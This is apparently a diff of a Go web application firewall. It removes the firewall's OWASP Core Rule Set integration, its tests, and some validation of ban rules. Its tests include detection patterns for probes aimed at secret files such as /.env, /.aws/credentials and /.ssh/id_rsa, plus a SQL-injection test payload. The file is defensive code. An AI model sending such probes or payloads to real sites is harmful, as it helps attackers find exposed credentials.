// ActionBanned is a request refused because a ban covers its client,
// or because it matched a ban rule, asked for a trap path or the
// CrowdSec decision list lists its client, each of which bans the
// client.
// or because it matched a ban rule or the CrowdSec decision list lists
// its client, either of which bans the client.
ActionBanned = "banned"
// ActionRuleBlocked is a request refused because it matched a block
// rule.
ActionRuleBlocked = "rule_blocked"
// ActionWAFBlocked is a request refused because the Core Rule Set
// scored it at or over SWWAF_WAF_ANOMALY_THRESHOLD.
ActionWAFBlocked = "waf_blocked"
// ActionDenied is a request refused because its client is in
// SWWAF_DENY_NETS, in a blocklist while SWWAF_BLOCKLIST_ACTION is deny,
// or listed by a DNSBL zone, or scored a hit by AbuseIPDB, while
@@ -52,22 +48,18 @@ const (
)
// OffenceLimit is the offence a request line names for a request that
// broke a rate limit or the error burst, or whose bytes broke a byte
// limit.
// broke a rate limit, or whose bytes broke a byte limit.
const OffenceLimit = "limit"
// LimitHitErrorBurst is the limit_hit a request line names for a request
// that broke the error burst.
const LimitHitErrorBurst = "error_burst"
// timeLayout is RFC 3339 with milliseconds.
const timeLayout = "2006-01-02T15:04:05.000Z07:00"
// Line is one request's line in the request log. The field names, and
// their order, are those of docs/request-log.md. A field that may not
// apply to a request is left out of its line when it does not.
// their order, are those of the "Request log" section of SPEC.md. A field
// that may not apply to a request is left out of its line when it does
// not.
//
//nolint:tagliatelle // docs/request-log.md names the fields in snake_case
//nolint:tagliatelle // SPEC.md's request log names its fields in snake_case
type Line struct {
Type string `json:"type"`
@@ -125,8 +117,8 @@ type Line struct {
Action string `json:"action"`
// WouldAction is, in observe mode, the action enforce mode would have
// taken with a request it would have refused: ActionDenied,
// ActionBanned, ActionCountryDenied, ActionRateLimited,
// ActionRuleBlocked or ActionWAFBlocked.
// ActionBanned, ActionCountryDenied, ActionRateLimited or
// ActionRuleBlocked.
WouldAction string `json:"would_action,omitempty"`
// LimitPercent and LimitPercentSetting are, for a request the rate
// limits counted whose client a biased threshold gives a percentage of
@@ -144,15 +136,9 @@ type Line struct {
Counts ratelimit.Counts `json:"counts,omitzero"`
// RuleIDs are the ids of the rule file rules the request matched.
RuleIDs []string `json:"rule_ids,omitempty"`
// WAFRuleIDs are the ids of the Core Rule Set's rules the request
// matched, and WAFScore its anomaly score, nil for a request the Core
// Rule Set did not inspect.
WAFRuleIDs []int `json:"waf_rule_ids,omitempty"`
WAFScore *int `json:"waf_score,omitempty"`
// LimitHit is the window whose limit the request went over, named as
// Counts names its count: minute, hour or day for a rate limit, and
// minute_bytes, hour_bytes or day_bytes for a byte limit; or
// LimitHitErrorBurst for the error burst.
// minute_bytes, hour_bytes or day_bytes for a byte limit.
LimitHit string `json:"limit_hit,omitempty"`
// Reputation are the URLs of the blocklists that list the client, then
// that of the CrowdSec decision list when it does, then the DNSBL zones
@@ -166,15 +152,13 @@ type Line struct {
BanExpires string `json:"ban_expires,omitempty"`
// The timings, in milliseconds. DurationChecks is the time until the
// checks were done, and DurationWAF the part of it the Core Rule Set
// took. DurationUpstreamConnect, DurationUpstreamFirstByte and
// DurationUpstreamTotal run from when the request was handed to the
// checks were done. DurationUpstreamConnect, DurationUpstreamFirstByte
// and DurationUpstreamTotal run from when the request was handed to the
// app: until there was a connection to it, until the first byte of its
// answer arrived, and until the end. Each but DurationTotal is nil for
// a request that did not get that far.
DurationTotal float64 `json:"duration_total"`
DurationChecks *float64 `json:"duration_checks,omitempty"`
DurationWAF *float64 `json:"duration_waf,omitempty"`
DurationUpstreamConnect *float64 `json:"duration_upstream_connect,omitempty"`
DurationUpstreamFirstByte *float64 `json:"duration_upstream_first_byte,omitempty"`
DurationUpstreamTotal *float64 `json:"duration_upstream_total,omitempty"`
internal/rules/rules.go
+17 -34
View File
@@ -50,13 +50,6 @@ const quietTime = 2 * time.Second
// header:<Name>.
const headerTarget = "header:"
// pathTarget and uriTarget are the targets matched both as received and
// once percent-decoded: the path, and the path and query together.
const (
pathTarget = "path"
uriTarget = "uri"
)
// escapeLength is the length of a percent escape, such as %2e.
const escapeLength = 3
@@ -381,7 +374,7 @@ func parse(line string) (Rule, bool, error) {
// isTarget reports whether target is one a rule may have.
func isTarget(target string) bool {
switch target {
case pathTarget, "query", uriTarget, "method", "host", "user_agent", "referer":
case "path", "query", "uri", "method", "host", "user_agent", "referer":
return true
}
@@ -391,38 +384,28 @@ func isTarget(target string) bool {
}
// matches reports whether the rule's regex matches its target in r. For
// path and uri it is matched against the target as received, and against
// it once percent-decoded, so that an encoded probe cannot slip past.
// uri it is matched against the path and query as received, and against
// them once percent-decoded, so that an encoded probe cannot slip past.
func (rule Rule) matches(r *http.Request) bool {
target := value(rule.Target, r)
if rule.Target == "uri" {
uri := pathAndQuery(r)
if rule.Target == pathTarget || rule.Target == uriTarget {
return rule.regex.MatchString(target) || rule.regex.MatchString(DecodeOnce(target))
return rule.regex.MatchString(uri) || rule.regex.MatchString(decodeOnce(uri))
}
return rule.regex.MatchString(target)
return rule.regex.MatchString(value(rule.Target, r))
}
// Path returns r's path as the client sent it, before any decoding or
// re-encoding, up to the first ?: what a path rule is matched against, as
// it is and once percent-decoded.
func Path(r *http.Request) string {
path, _, _ := strings.Cut(pathAndQuery(r), "?")
return path
}
// value returns what a rule with target is matched against in r: the
// path, as Path gives it, the path and query, as pathAndQuery gives
// them, and the query as the client sent it, before any decoding or
// re-encoding, after the first ?, and a header's values joined by ", ",
// as HTTP joins those of a header sent more than once.
// value returns what a rule with target, other than uri, is matched
// against in r: the path and the query as the client sent them, before
// any decoding or re-encoding, split at the first ?, and a header's values
// joined by ", ", as HTTP joins those of a header sent more than once.
func value(target string, r *http.Request) string {
switch target {
case pathTarget:
return Path(r)
case uriTarget:
return pathAndQuery(r)
case "path":
path, _, _ := strings.Cut(pathAndQuery(r), "?")
return path
case "query":
_, query, _ := strings.Cut(pathAndQuery(r), "?")
@@ -474,11 +457,11 @@ func header(r *http.Request, name string) string {
return strings.Join(r.Header.Values(name), ", ")
}
// DecodeOnce returns s with each percent escape, such as %2e, replaced by
// decodeOnce returns s with each percent escape, such as %2e, replaced by
// the byte it stands for. A % that is not followed by two hex digits is
// left as it is, so that a malformed escape cannot keep the rest of s
// from being decoded.
func DecodeOnce(s string) string {
func decodeOnce(s string) string {
var decoded strings.Builder
for i := 0; i < len(s); i++ {
internal/rules/rules_test.go
+2 -4
View File
@@ -49,9 +49,7 @@ func TestEachTargetMatchesWhatItNames(t *testing.T) {
want bool
}{
{"path as received", `path log ^/%2eenv$`, "/%2eenv", nil, true},
{"path decoded", `path log ^/\.env$`, "/%2Eenv", nil, true},
{"path decoded only once", `path log ^/\.env$`, "/%252eenv", nil, false},
{"path decoded without the query", `path log ^/a\?b$`, "/a%3fb?c", nil, true},
{"path not decoded", `path log ^/\.env$`, "/%2eenv", nil, false},
{"path without the query", `path log ^/a$`, "/a?b=c", nil, true},
{"query as received", `query log ^b=%2e$`, "/a?b=%2e", nil, true},
{"uri as received", `uri log ^/a\?b=%2e$`, "/a?b=%2e", nil, true},
@@ -420,7 +418,7 @@ func TestDefaultFileBansProbesAtTheSiteRootAlone(t *testing.T) {
// Probes sent by a browser, by the rule that refuses them.
for rule, targets := range map[string][]string{
"env-file": {"/.env", "/.env.production", "/.ENV", "/%2eenv"},
"env-file": {"/.env", "/.env.production", "/.ENV"},
"vcs-dir": {"/.git/config", "/.git", "/.svn/entries"},
"secrets-dir": {"/.aws/credentials", "/.ssh/id_rsa"},
"secret-file": {"/.htpasswd", "/.DS_Store", "/.git-credentials"},
internal/state/state.go
+7 -15
View File
@@ -1,6 +1,5 @@
// Package state keeps smallwebwaf's state in JSON files in
// SWWAF_STATE_DIR, as the "Persistent state" section of SPEC.md requires
// and docs/state-files.md lists them:
// SWWAF_STATE_DIR, as the "Persistent state" section of SPEC.md describes:
// bans.json holds the bans, clients.json each client's counters and
// history, lookups.json GeoJS's answers, reputation.json the last try and
// last good copy of each list fetched from a URL, the DNSBL zones'
@@ -62,7 +61,6 @@ var (
// errMissing is for an entry without a field it needs.
errMissing = errors.New("has no")
errCause = errors.New("is not limit, attack, admin or crowdsec")
errExpires = errors.New("is not after its start")
errDestination = errors.New("is not webhook, slack or ntfy")
errScope = errors.New("is not client, net, asn, total or watch")
errWaitingList = errors.New(`waiting is a list, but now lists the alerts by ` +
@@ -648,10 +646,8 @@ func (e BanEntry) ban() bans.Ban {
// client, a start, from which the length of the netblock's next ban is
// worked out, or an expires, which would make it permanent. A permanent
// ban's expires is null, which Bans cannot tell from a missing one, so
// each expires is read again as written. An expires not after the start
// is refused too, since the netblock's next ban for a broken limit, three
// times as long as this one, would then refuse nothing; and so is a cause
// other than limit, attack, admin or crowdsec, most likely misspelt.
// each expires is read again as written. A cause other than limit,
// attack, admin or crowdsec, most likely misspelt, is refused too.
func (f *bansFile) check(data []byte) error {
var written struct {
Bans []struct {
@@ -672,8 +668,6 @@ func (f *bansFile) check(data []byte) error {
return missing(i, "start")
case written.Bans[i].Expires == nil:
return missing(i, "expires")
case entry.Expires != nil && !entry.Expires.After(entry.Start):
return fmt.Errorf("entry %d's expires %w", i+1, errExpires)
case entry.Cause != "" && entry.Cause != bans.CauseLimit &&
entry.Cause != bans.CauseAttack && entry.Cause != bans.CauseAdmin &&
entry.Cause != bans.CauseCrowdSec:
@@ -685,8 +679,8 @@ func (f *bansFile) check(data []byte) error {
}
// check refuses a client without its address, which would count nobody's
// requests, or with requests, bytes or refusals in a window but no start,
// which would drop them and give the client a fresh allowance.
// requests, or with requests or bytes in a window but no start, which
// would drop them and give the client a fresh allowance.
func (f *clientsFile) check([]byte) error {
for i, client := range f.Clients {
switch {
@@ -704,8 +698,6 @@ func (f *clientsFile) check([]byte) error {
return missing(i, "hour_bytes.start")
case countsWithoutStart(client.DayBytes):
return missing(i, "day_bytes.start")
case countsWithoutStart(client.MinuteRefusals):
return missing(i, "minute_refusals.start")
}
}
@@ -906,8 +898,8 @@ func missingFromCounter(counter anomaly.Counter) string {
}
}
// countsWithoutStart reports whether b holds requests, bytes or refusals
// but no start, which places them in time.
// countsWithoutStart reports whether b holds requests, or bytes, but no
// start, which places them in time.
func countsWithoutStart(b ratelimit.Buckets) bool {
return b.Start.IsZero() && (b.Current != 0 || b.Previous != 0)
}
internal/state/state_test.go
+2 -26
View File
@@ -639,15 +639,6 @@ func TestEntryWithoutAFieldItNeedsStopsTheStart(t *testing.T) {
}
}
func TestClientWithRefusalsInTheMinuteWithoutTheirStartStopsTheStart(t *testing.T) {
t.Parallel()
wantRefused(t, clientsJSON,
`{"version": 1, "clients": [{"client": "203.0.113.9/32", `+
`"minute_refusals": {"current": 2}}]}`,
`: entry 1 has no "minute_refusals.start"`)
}
func TestReputationJSONEntryWithoutAFieldItNeedsStopsTheStart(t *testing.T) {
t.Parallel()
@@ -865,21 +856,6 @@ func TestBanWithAnotherCauseStopsTheStart(t *testing.T) {
`: entry 4's cause "atack" is not limit, attack, admin or crowdsec`)
}
func TestBanThatDoesNotEndAfterItsStartStopsTheStart(t *testing.T) {
t.Parallel()
// The first ban ends a second after its start; the second ends as it
// starts, or an hour before.
for _, expires := range []string{`"2026-10-06T00:00:00Z"`, `"2026-10-05T23:00:00Z"`} {
wantRefused(t, bansJSON, `{"version": 1, "bans": [`+
`{"netblock": "203.0.113.9/32", "start": "2026-10-06T00:00:00Z", `+
`"expires": "2026-10-06T00:00:01Z"}, `+
`{"netblock": "203.0.113.10/32", "start": "2026-10-06T00:00:00Z", `+
`"expires": `+expires+`}]}`,
`: entry 2's expires is not after its start`)
}
}
func TestUnknownVersionStopsTheStart(t *testing.T) {
t.Parallel()
@@ -1019,8 +995,8 @@ func TestEditJustBeforeAScheduledWriteSurvivesIt(t *testing.T) {
edit(t, dir, bansJSON, permanentBansJSON)
// The write takes the edit in first, and writes it back. The second
// ban, made after the admin opened the file, is lost, as the
// "Persistent state" section of SPEC.md says.
// ban, made after the admin opened the file, is lost, as "Edits
// while running" in SPEC.md says.
time.Sleep(time.Nanosecond)
synctest.Wait()
internal/waf/waf.go
-336
View File
@@ -1,336 +0,0 @@
// Package waf runs the OWASP Core Rule Set 4.25.0, through Coraza, on the
// method, the URL with its query and the headers of a request, and on its
// body while SWWAF_WAF_BODY_LIMIT is set, with the six changes smallwebwaf
// makes to it, as "Attack detection" under "Settings" in SPEC.md describes
// them. It reads no response.
//
// smallwebwaf writes only to its state directory, so Coraza is built with
// its no_fs_access tag, as the Dockerfile and script/build build it: of a
// file in a multipart body, Coraza then counts the bytes instead of
// writing them to the system's temporary directory.
package waf
import (
"fmt"
"io"
"net/http"
"net/netip"
"slices"
"strconv"
"strings"
coreruleset "github.com/corazawaf/coraza-coreruleset/v4"
"github.com/corazawaf/coraza/v3"
"github.com/corazawaf/coraza/v3/experimental/plugins/plugintypes"
"github.com/corazawaf/coraza/v3/types"
)
// directives are the Core Rule Set as smallwebwaf runs it, with the
// paranoia level for %d, and bodyDirectives for %s while
// SWWAF_WAF_BODY_LIMIT is set. Each rule smallwebwaf adds has an id from
// 900000 to 900999, the ids the Core Rule Set keeps for the rules that set
// it up, which SWWAF_WAF_DISABLED_RULES refuses, so that no setting
// switches one off. Coraza joins a line ending in \ to the next, without
// the spaces at the start of the next.
const directives = `
# The engine only detects. smallwebwaf compares the request's anomaly
# score with SWWAF_WAF_ANOMALY_THRESHOLD itself, in block and detect mode
# alike. It reads no body, unless bodyDirectives switch that on.
SecRuleEngine DetectionOnly
SecRequestBodyAccess Off
SecResponseBodyAccess Off
Include @crs-setup.conf.example
SecAction "id:900000,phase:1,pass,nolog,\
setvar:tx.blocking_paranoia_level=%d"
# The first change: PUT, PATCH and DELETE are allowed besides GET, HEAD,
# POST and OPTIONS.
SecAction "id:900200,phase:1,pass,nolog,\
setvar:'tx.allowed_methods=GET HEAD POST OPTIONS PUT PATCH DELETE'"
# The second: Expect and Content-Encoding are taken off the Core Rule Set's
# list of the headers it refuses. Content-Encoding goes back on it for a
# body the Core Rule Set reads (900260 in bodyDirectives).
SecAction "id:900250,phase:1,pass,nolog,\
setvar:'tx.restricted_headers_basic=/proxy/ /lock-token/ /content-range/ \
/if/ /x-http-method-override/ /x-http-method/ /x-method-override/ \
/x-middleware-subrequest/'"
%s
# Coraza keeps the first 1000 query parameters of a request, and the first
# 1000 fields of a form data or JSON body, and drops the rest, which no
# rule then reads, so a request with more adds 5 to the score, as a rule
# the Core Rule Set rates critical does. Coraza's recommended
# configuration refuses such a request in its rules 200004 and 200005.
# This rule runs once the body is read, and before the Core Rule Set adds
# up the score in the same phase.
SecArgumentsLimit 1000
SecRule ARGUMENTS_LIMIT_REACHED "@eq 1" "id:900300,phase:2,pass,\
severity:'CRITICAL',setvar:'tx.inbound_anomaly_score_pl1=+5'"
# The sixth: only the rules for requests are loaded, and no response is
# inspected.
Include @owasp_crs/REQUEST-*.conf
# The third: redirect_uri is not checked for a URL naming an IP address or
# localhost. Coraza matches a parameter name here, and in the fourth,
# without regard to case. ARGS holds the fields of a form data or multipart
# body Coraza reads as well as the query parameters, so a field of one of
# these names is left out too.
SecRuleUpdateTargetById 931100 "!ARGS:redirect_uri"
SecRuleUpdateTargetById 934110 "!ARGS:redirect_uri"
# The fourth: the query parameters in which gitea sends names within a
# repository or its own records, or a page of its own site, are not
# checked against the lists of system files, shell paths and command
# names. Coraza takes one rule id per directive.
SecRuleUpdateTargetById 930120 "!ARGS:path|!ARGS:files|!ARGS:skip-to|\
!ARGS:sub_path|!ARGS:ref|!ARGS:sha|!ARGS:branch|!ARGS:workflow|\
!ARGS:artifactName|!ARGS:redirect_to"
SecRuleUpdateTargetById 932160 "!ARGS:path|!ARGS:files|!ARGS:skip-to|\
!ARGS:sub_path|!ARGS:ref|!ARGS:sha|!ARGS:branch|!ARGS:workflow|\
!ARGS:artifactName|!ARGS:redirect_to"
SecRuleUpdateTargetById 932260 "!ARGS:path|!ARGS:files|!ARGS:skip-to|\
!ARGS:sub_path|!ARGS:ref|!ARGS:sha|!ARGS:branch|!ARGS:workflow|\
!ARGS:artifactName|!ARGS:redirect_to"
# The fifth, for Referer: it is not checked for a Unix command without
# arguments, or for Java starting a process. The cookies are left out in
# Inspect.
SecRuleUpdateTargetById 932340 "!REQUEST_HEADERS:Referer"
SecRuleUpdateTargetById 944110 "!REQUEST_HEADERS:Referer"
`
// bodyDirectives have the Core Rule Set read the part of a request body
// Inspect gives it, which is at most one byte longer than the limit, up to
// the limit, %d bytes, and read JSON and XML as Coraza's recommended
// configuration has it in its rules 200000, 200001 and 200006, with
// text/json, and any application or text type ending in +xml or +json,
// besides; form data and multipart Coraza knows by itself. %% stands for
// a % Coraza reads.
const bodyDirectives = `
SecRequestBodyAccess On
SecRequestBodyLimit %d
SecRequestBodyLimitAction ProcessPartial
SecRule REQUEST_HEADERS:Content-Type \
"@rx ^(?:application|text)/(?:[a-z0-9.-]+[+])?xml" \
"id:900410,phase:1,pass,nolog,t:none,t:lowercase,ctl:requestBodyProcessor=XML"
SecRule REQUEST_HEADERS:Content-Type \
"@rx ^(?:application|text)/(?:[a-z0-9.-]+[+])?json" \
"id:900420,phase:1,pass,nolog,t:none,t:lowercase,ctl:requestBodyProcessor=JSON"
# The rest of the second change: Content-Encoding is refused again on a
# body of a kind the Core Rule Set reads, since a compressed body cannot be
# inspected.
SecRule REQBODY_PROCESSOR "@rx ^(?:URLENCODED|MULTIPART|JSON|XML)$" \
"id:900260,phase:1,pass,nolog,\
setvar:'tx.restricted_headers_basic=%%{tx.restricted_headers_basic} \
/content-encoding/'"
# A body Coraza fails to parse (900440), and a multipart body that fails
# its strict checks (900450), each add 5 to the score, as a rule the Core
# Rule Set rates critical does: no rule reads what comes after the fault,
# which the app may still read. Coraza's recommended configuration refuses
# them in its rules 200002 and 200003. A multipart body the limit cuts
# before the colon of a part's header line, or between the carriage return
# and the line feed that end a part's header line or the empty line after
# its headers, adds 5 too, since Coraza takes the line the limit cuts for a
# malformed header. Coraza parses any form data body.
SecRule REQBODY_ERROR "!@eq 0" "id:900440,phase:2,pass,severity:'CRITICAL',\
setvar:'tx.inbound_anomaly_score_pl1=+5'"
SecRule MULTIPART_STRICT_ERROR "!@eq 0" "id:900450,phase:2,pass,\
severity:'CRITICAL',setvar:'tx.inbound_anomaly_score_pl1=+5'"
`
// cookiesNotRead are the cookies the Core Rule Set reads a request
// without, the rest of the fifth change.
//
//nolint:gochecknoglobals // a constant cannot be a list
var cookiesNotRead = []string{"gitea_flash", "redirect_to"}
// Params are what New needs.
type Params struct {
// ParanoiaLevel is SWWAF_WAF_PARANOIA_LEVEL, from 1 to 4.
ParanoiaLevel int
// DisabledRules are the ids of the rules switched off
// (SWWAF_WAF_DISABLED_RULES).
DisabledRules []int
// BodyLimit is the most of a request body the Core Rule Set reads
// (SWWAF_WAF_BODY_LIMIT), 0 while it is off and it reads none.
BodyLimit int64
}
// CoreRuleSet is the Core Rule Set, ready to inspect requests. It is safe
// for concurrent use.
type CoreRuleSet struct {
waf coraza.WAF
bodyLimit int64
}
// New returns the Core Rule Set with the six changes, at params'
// paranoia level, without the rules it switches off, and reading request
// bodies up to params' limit.
func New(params Params) (*CoreRuleSet, error) {
body := ""
if params.BodyLimit > 0 {
body = fmt.Sprintf(bodyDirectives, params.BodyLimit)
}
text := fmt.Sprintf(directives, params.ParanoiaLevel, body)
if len(params.DisabledRules) > 0 {
ids := make([]string, len(params.DisabledRules))
for i, id := range params.DisabledRules {
ids[i] = strconv.Itoa(id)
}
text += "SecRuleRemoveById " + strings.Join(ids, " ") + "\n"
}
waf, err := coraza.NewWAF(coraza.NewWAFConfig().
WithRootFS(coreruleset.FS).
WithDirectives(text))
if err != nil {
return nil, fmt.Errorf("load the Core Rule Set: %w", err)
}
return &CoreRuleSet{waf: waf, bodyLimit: params.BodyLimit}, nil
}
// Result is what the Core Rule Set found in a request.
type Result struct {
// RuleIDs are the ids of the rules that matched, in the order they
// ran.
RuleIDs []int
// Score is the request's anomaly score: what those rules add up to.
Score int
}
// Inspect runs the Core Rule Set on r, a request from client: on its
// method, its URL with the query, and its headers, the Cookie header
// without the cookies in cookiesNotRead, and on body, r's body as the
// caller has it, as readBody reads it. It returns what it found, what it
// read of body, which the app is still to be sent, and the error that
// ended the reading early, if one did.
func (c *CoreRuleSet) Inspect(
r *http.Request, client netip.Addr, body io.Reader,
) (Result, []byte, error) {
tx := c.waf.NewTransaction()
// Closing would remove the files Coraza wrote, and it writes none.
defer func() { _ = tx.Close() }()
tx.ProcessConnection(client.String(), 0, "", 0)
tx.ProcessURI(r.URL.String(), r.Method, r.Proto)
for name, values := range r.Header {
for _, value := range values {
if name == "Cookie" {
value = withoutCookiesNotRead(value)
if value == "" {
continue // it held those cookies alone
}
}
tx.AddRequestHeader(name, value)
}
}
// Go's server takes these two out of the headers.
tx.AddRequestHeader("Host", r.Host)
for _, encoding := range r.TransferEncoding {
tx.AddRequestHeader("Transfer-Encoding", encoding)
}
tx.ProcessRequestHeaders()
read, err := c.readBody(tx, body)
// This reads the body in memory and runs the rest of the rules, and
// cannot fail.
_, _ = tx.ProcessRequestBody()
var ids []int
for _, matched := range tx.MatchedRules() {
// The rules that look for attacks have a severity; the others set
// the Core Rule Set up and add up the score.
rule := matched.Rule()
if rule.Severity() != types.RuleSeverityUnset {
ids = append(ids, rule.ID())
}
}
return Result{RuleIDs: ids, Score: score(tx)}, read, err
}
// readBody reads body, the body of the request in tx, which has run on
// the request's headers, while SWWAF_WAF_BODY_LIMIT is set and the body is
// of a kind the Core Rule Set reads: form data and multipart, of which it
// reads the first c.bodyLimit bytes, and JSON and XML, which it reads only
// when they are no longer than that, since they cannot be read in part.
// readBody reads one byte past the limit, to tell which they are, gives
// the Core Rule Set what it reads, and returns what it read and the error
// that ended the reading early, if one did.
func (c *CoreRuleSet) readBody(tx types.Transaction, body io.Reader) ([]byte, error) {
if c.bodyLimit == 0 {
return nil, nil
}
inPart := false
// How the body is read is a variable of the transaction, which only
// Coraza's interface for plugins reads.
state := tx.(plugintypes.TransactionState) //nolint:forcetypeassert // every one is
switch state.Variables().RequestBodyProcessor().Get() {
case "URLENCODED", "MULTIPART":
inPart = true
case "JSON", "XML":
default:
return nil, nil
}
read, err := io.ReadAll(io.LimitReader(body, c.bodyLimit+1))
if inPart || (err == nil && int64(len(read)) <= c.bodyLimit) {
// Coraza holds what it reads of the body in memory, up to the
// limit, so this cannot fail.
_, _, _ = tx.WriteRequestBody(read)
}
return read, err
}
// score returns the anomaly score the Core Rule Set added up in tx, a
// transaction it has run, or 0 if a rule that adds it up is switched off.
func score(tx types.Transaction) int {
// The score is in a variable of the transaction, which only Coraza's
// interface for plugins reads.
state := tx.(plugintypes.TransactionState) //nolint:forcetypeassert // every one is
values := state.Variables().TX().Get("blocking_inbound_anomaly_score")
if len(values) == 0 {
return 0
}
n, _ := strconv.Atoi(values[0])
return n
}
// withoutCookiesNotRead returns value, a Cookie header's, without the
// cookies in cookiesNotRead.
func withoutCookiesNotRead(value string) string {
var kept []string
for cookie := range strings.SplitSeq(value, ";") {
name, _, _ := strings.Cut(strings.TrimSpace(cookie), "=")
if !slices.Contains(cookiesNotRead, name) {
kept = append(kept, cookie)
}
}
return strings.Join(kept, ";")
}
internal/waf/waf_test.go
-688
View File
@@ -1,688 +0,0 @@
package waf_test
import (
"net/http"
"net/http/httptest"
"net/netip"
"net/url"
"path/filepath"
"reflect"
"strconv"
"strings"
"testing"
"sneak.berlin/go/smallwebwaf/internal/waf"
)
// defaultDisabledRules are the rules SWWAF_WAF_DISABLED_RULES switches off
// by default.
//
//nolint:gochecknoglobals // a constant cannot be a list
var defaultDisabledRules = []int{920340, 920420, 920440, 920640, 930130, 930140}
// newCoreRuleSet returns the Core Rule Set at paranoia level level, with
// the rules in disabled switched off.
func newCoreRuleSet(t *testing.T, level int, disabled ...int) *waf.CoreRuleSet {
t.Helper()
crs, err := waf.New(waf.Params{ParanoiaLevel: level, DisabledRules: disabled})
if err != nil {
t.Fatalf("load the Core Rule Set: %v", err)
}
return crs
}
// request is a request a test inspects: its method, its target, the path
// and the query as a client sends them, and its headers, each written
// "Name: value".
type request struct {
method, target string
headers []string
}
// get is a GET request for target with headers.
func get(target string, headers ...string) request {
return request{http.MethodGet, target, headers}
}
// inspect returns what crs finds in r, sent to git.example by a browser,
// whose Host, User-Agent and Accept r.headers may replace.
func inspect(t *testing.T, crs *waf.CoreRuleSet, r request) waf.Result {
t.Helper()
result, _ := inspectBody(t, crs, r, "")
return result
}
// inspectBody is inspect for r with body, which is announced with its
// Content-Length unless it is "", and returns what crs read of body too.
func inspectBody(
t *testing.T, crs *waf.CoreRuleSet, r request, body string,
) (waf.Result, string) {
t.Helper()
req := httptest.NewRequestWithContext(t.Context(), r.method,
"http://git.example"+r.target, strings.NewReader(body))
req.Header.Set("User-Agent", "Mozilla/5.0 (X11; Linux x86_64; rv:131.0) "+
"Gecko/20100101 Firefox/131.0")
req.Header.Set("Accept", "text/html")
if body != "" {
req.Header.Set("Content-Length", strconv.Itoa(len(body)))
}
for _, header := range r.headers {
// Go's server keeps Host and Transfer-Encoding out of the headers.
name, value, _ := strings.Cut(header, ": ")
switch name {
case "Host":
req.Host = value
case "Transfer-Encoding":
req.TransferEncoding = []string{value}
default:
req.Header.Set(name, value)
}
}
result, read, err := crs.Inspect(req, netip.MustParseAddr("203.0.113.9"), req.Body)
if err != nil {
t.Fatalf("read the body: %v", err)
}
return result, string(read)
}
// wantResult checks what crs finds in r.
func wantResult(t *testing.T, crs *waf.CoreRuleSet, r request, want waf.Result) {
t.Helper()
if got := inspect(t, crs, r); !reflect.DeepEqual(got, want) {
t.Errorf("%s %s %q: %+v, want %+v", r.method, r.target, r.headers, got, want)
}
}
// matched is the result of a request that the rules ids match, each of
// them a critical one, which adds 5 to the score.
func matched(ids ...int) waf.Result {
const critical = 5
return waf.Result{RuleIDs: ids, Score: critical * len(ids)}
}
// atDefaults returns the Core Rule Set as smallwebwaf runs it by default.
func atDefaults(t *testing.T) *waf.CoreRuleSet {
t.Helper()
return newCoreRuleSet(t, 1, defaultDisabledRules...)
}
// wantChange checks that crs lets through passes, a gitea request one of
// the six changes is for, and still finds result in refused, a request
// like it that the change is not for.
func wantChange(
t *testing.T, crs *waf.CoreRuleSet, passes, refused request, result waf.Result,
) {
t.Helper()
wantResult(t, crs, passes, waf.Result{})
wantResult(t, crs, refused, result)
}
func TestPutPatchAndDeleteAreAllowed(t *testing.T) {
t.Parallel()
crs := atDefaults(t)
for _, r := range []request{
{http.MethodPut, "/v2/owner/image/blobs/uploads/1?digest=sha256:ab", nil},
{http.MethodPatch, "/api/v1/repos/owner/repo/issues/1", nil},
{http.MethodDelete, "/api/v1/repos/owner/repo/branches/old", nil},
} {
wantChange(t, crs, r, request{http.MethodTrace, r.target, nil}, matched(911100))
}
wantChange(t, crs, get("/"), request{"PROPFIND", "/", nil}, matched(911100))
}
func TestExpectAndContentEncodingAreAllowed(t *testing.T) {
t.Parallel()
const (
pushType = "Content-Type: application/x-git-receive-pack-request"
fetchType = "Content-Type: application/x-git-upload-pack-request"
length = "Content-Length: 1024"
push = "/owner/repo.git/git-receive-pack"
fetch = "/owner/repo.git/git-upload-pack"
)
crs := atDefaults(t)
wantResult(t, crs,
request{http.MethodPost, push, []string{pushType, length, "Expect: 100-continue"}},
waf.Result{})
wantResult(t, crs,
request{http.MethodPost, fetch, []string{
fetchType, length, "Content-Encoding: gzip",
}},
waf.Result{})
// Every other header on the Core Rule Set's list stays refused.
for _, header := range []string{
"Proxy: http://proxy.example",
"Lock-Token: token",
"Content-Range: bytes 0-1023/1024",
"If: token",
"X-HTTP-Method-Override: DELETE",
"X-HTTP-Method: DELETE",
"X-Method-Override: DELETE",
"X-Middleware-Subrequest: middleware",
} {
wantResult(t, crs,
request{http.MethodPost, push, []string{pushType, length, header}},
matched(920450))
}
}
func TestTransferEncodingIsRead(t *testing.T) {
t.Parallel()
// git sends a large push in chunks, with no Content-Length. Without
// Transfer-Encoding, that would be a POST without a length (920180).
wantResult(t, atDefaults(t),
request{http.MethodPost, "/owner/repo.git/git-receive-pack", []string{
"Content-Type: application/x-git-receive-pack-request",
"Transfer-Encoding: chunked",
}},
waf.Result{})
}
func TestMoreParametersThanCorazaKeepsIsAMatch(t *testing.T) {
t.Parallel()
const attack = "id=1'%20OR%20'1'='1"
crs := atDefaults(t)
// Coraza keeps 1000: an attack that is the 1000th is read, and one
// after it is not, but the request is a match all the same.
wantResult(t, crs, get("/?"+strings.Repeat("a=1&", 999)+attack), matched(942100))
wantResult(t, crs, get("/?"+strings.Repeat("a=1&", 1000)+attack), matched(900300))
// So it is with the fields of a form data or JSON body.
crs = readingBodies(t)
for _, tc := range []struct{ header, body string }{
{formData, strings.Repeat("a=1&", 999) + attack},
{jsonBody, `{"a":[` + strings.Repeat("1,", 998) + `1],"id":"` + injection + `"}`},
} {
wantBody(t, crs, post(tc.header), tc.body, matched(942100), tc.body)
}
for _, tc := range []struct{ header, body string }{
{formData, strings.Repeat("a=1&", 1000) + attack},
{jsonBody, `{"a":[` + strings.Repeat("1,", 999) + `1],"id":"` + injection + `"}`},
} {
wantBody(t, crs, post(tc.header), tc.body, matched(900300), tc.body)
}
}
func TestRedirectURIMayNameALocalAddress(t *testing.T) {
t.Parallel()
const oauth = "/login/oauth/authorize?client_id=tea&response_type=code&"
crs := atDefaults(t)
wantChange(t, crs, get(oauth+"redirect_uri=http://127.0.0.1:52341/"),
get(oauth+"next=http://127.0.0.1:52341/"), matched(931100, 934110))
wantChange(t, crs, get(oauth+"redirect_uri=http://localhost:52341/"),
get(oauth+"next=http://localhost:52341/"), matched(934110))
}
func TestParametersGiteaSendsNamesInSkipTheListsOfFilesPathsAndCommands(t *testing.T) {
t.Parallel()
